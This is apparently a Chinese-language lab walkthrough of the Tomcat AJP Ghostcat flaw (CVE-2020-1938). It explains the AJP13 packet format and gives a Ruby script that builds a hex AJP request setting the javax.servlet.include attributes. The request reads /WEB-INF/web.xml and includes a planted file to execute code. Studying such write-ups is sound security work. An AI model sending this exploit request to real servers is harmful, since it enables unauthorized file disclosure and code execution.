Apache Tomcat AJP LFI and LCE (CVE-2020-1938) Walkthrough

折腾这个漏洞有好几天了, 网上发布漏洞公告当天就已经重现了该漏洞, 但针对 Apache JServ Protocol(AJP) 协议做了稍微深入的研究, 通过阅读公布的POC的源码和官方文档终于学会了: 手动构造 AJP 协议的请求触发漏洞

看到网上发布的 漏洞分析文章 , 本次漏洞产生的原因是:

由于 Tomcat 在处理 AJP 请求时,未对请求做任何验证, 通过设置 AJP 连接器封装的 request 对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞

设置 request 对象的那几个属性呢? 下面这三个:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

也就是说我们只要构造 AJP 请求, 在请求是定义这三个属性就可以触发此漏洞

想到此前了解到 Apache HTTP Server 可反向代理AJP协议,因此决定从此处入手.

搭建 Apache Tomcat 服务

首先从官网下载了存在漏洞的版本 apache-tomcat-9.0.30 , 并在 Ubuntu Server 18.04 中运行

unzip apache-tomcat-9.0.30.zip
cd apache-tomcat-9.0.30/bin
chmod +x *.sh
./startup.sh

Tomcat 启动以后可以发现系统多监听了三个端口, 8050, 8080, 8009

通过查看 Tomcat 目录下的 conf/server.xml 文件可以看下以下两行

...
<Connector port="8080" protocol="HTTP/1.1"
...
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
...

从这两行可以看出8080端口上上Tomcat的HTTP通信接口, 而 8009 端口就是本篇的主角 AJP协议的通信接口

Apache HTTP Server 的 mod-jk 模块可以对 AJP 协议进行反向代理,因此开始配置 Kali Linux 里的 Apache HTTP Server.

安装模块依赖

首先为了让 Apache HTTP Server 能反向代理 AJP 协议安装 mod-jk

apt install libapache2-mod-jk
a2enmod proxy_ajp

配置 Apache HTTP Server

/etc/apache2/sites-enabled/ 目录新建一个文件, 文件名随意, 我新建了一个叫 ajp.conf 的文件, 内容如下

ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
#  体现下面的IP地位为搭建好的 tomcat 的 IP 地址
ProxyPass                 / ajp://192.168.109.134:8009/
ProxyPassReverse    / ajp://192.168.109.134:8009/

重启 Apache

systemctl start apache2

开启 wireshark 抓包并配置显示过滤条件为 ajp13 , 此条件下 wireshark 会只抓取到的AJP协议的包, 但为了仅看到自己想到的数据包,我进一步设置了显示过滤条件为 ajp13.method == 0x02

配置好 wireshark 以后,打开浏览器访问 127.0.0.1 可以发现虽然访问的是本地回环地址,但实际上访问的是在上面配置的Apache Tomcat,此时查看 Wireshark 可以看到 Wireshark 已经抓取我们此次请求的数据包

从上面的截图中可以看到 Wireshark 能够解析 AJP 协议

Apache JServ Protocol

本问重点分析与本次漏洞有关的 AJP13_FORWARD_REQUEST 请求格式, 分析 wireshark 抓取到的数据包后理解格式并构造特定数据包进行漏洞利用

关于 AJP 协议的更多信息请查看 官方文档

Apache JServ Protocol(AJP) 协议按照我的理解为如下

AJP MAGIC (1234)

AJP DATA LENGTH

AJP DATA

AJP END (ff)

在 Wireshark 中选中上面截图中的 REQ:GET 包的AJP协议部分, 右键选择 copy -> ... as a Hex Stram 粘贴在任意位置查看, 我的数据包如下

1234016302020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100ff

按照上文中的格式:

  • 前四个字节 1234AJP MAGIC

  • 0163AJP DATA LENGTH ,这个值是怎么来的呢?

用 python 代码可以计算出 AJP DATA LENGTH 为: 完整的数据包去掉 AJP MAGIC 和最后的 0xff 结束标志之前的数据长度

我们需要关注的是第三章图最后两行,也就是下面这两行

AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1

在 Wireshark 中复制出 16 进制字符串为:

0a000f414a505f52454d4f54455f504f5254000005353930353800       # AJP_REMOTE_PORT: 59058
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100 # AJP_LOCAL_ADDR: 127.0.0.1

这些字符串怎么来的呢?

0a00request_header 的标志, 表示后面的数据是 request_header . 在官方文档有写

0frequest_header 的长度, 也就是

0000 用来分割请求头名称和值

05353930353859058 的 16 进制

00 表示结束

关键的字节是怎么构造的已经明白了, 那现在只要把 Wireshark 中抓取到的数据包修改一下, 把

AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1

替换协议格式替换成

javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/

在修改 AJP DATA LENGTH 为正确的大小即可

因此我通过代码构造了原始请求的16进制数据然后通过 nc 发送触发漏洞

以下是完整的代码

AJP_MAGIC = '1234'
AJP_REQUEST_HEADER = '02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100'

def pack_attr(s)
    return s.length.to_s(16).to_s.rjust(2, "0") + s.unpack("H*")[0]
end

attribute = Hash[
    'javax.servlet.include.request_uri' => '/WEB-INF/web.xml',
    'javax.servlet.include.path_info' => 'web.xml',
    'javax.servlet.include.servlet_path' => '/WEB-INF/']


req_attribute = ""
attribute.each do |key, value|
    req_attribute += '0a00' + pack_attr(key) + '0000' + pack_attr(value) + '00'
end

AJP_DATA = AJP_REQUEST_HEADER + req_attribute + 'ff'
AJP_DATA_LENGTH = (AJP_DATA.length / 2).to_s(16).to_s.rjust(4, "0")
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH + AJP_DATA

puts AJP_FORWARD_REQUEST

测试一下

BINGO!

成功读取 /WEB-INF/web.xml 文件的源码

那现在怎么执行代码?

在 Tomcat webapps/ROOT 目录下新建一个文件, 比如叫 1.txt

然后构造那三个属性修改值为如下:

javax.servlet.include.request_uri: /1.txt
javax.servlet.include.path_info: 1.txt
javax.servlet.include.servlet_path: /

在测试一下

BINGO AGAIN :smile:

最后感谢一下 官方协议文档 ,公布的 这个POC 和 这篇 教程 提供的帮助

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章